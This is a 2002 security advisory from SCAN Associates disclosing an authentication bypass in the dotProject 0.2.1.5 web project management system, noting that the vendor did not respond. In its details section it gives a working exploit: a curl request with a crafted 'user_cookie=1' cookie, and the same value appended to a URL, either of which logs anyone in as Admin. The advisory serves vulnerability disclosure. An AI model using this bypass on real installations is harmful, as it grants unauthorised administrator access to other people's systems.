php dotProject by pass authentication vulnerability

SCAN Associates Sdn Bhd Security Advisory

Product: dotProject 0.2.1.5 (possibly other)

Vendor URL: http://www.dotmarketing.org/dotproject/

Summary: php dotProject by pass authentication 

Author: pokleyzz <pokleyzz@scan-associates.net>, sk <sk@scan-associates.net>,
shaharil <shaharil@scan-associates.net>

Description
===========
dotProject is web base project management system . 
This application consider as beta version.

Details
=======
Everyone can bypass authentication and login as Admin.  
It was rather simple to exploit, user may send a crafted cookie like:

curl -b user_cookie=1 http://server/project/index.php?m=projects

Or simply append user_cookie=1 in any URL:

http://server/project/index.php?m=projects&user_cookie=1

Vendor Response 
=============== 
Vendor has been contacted on 24/7/2002 but no reply. 

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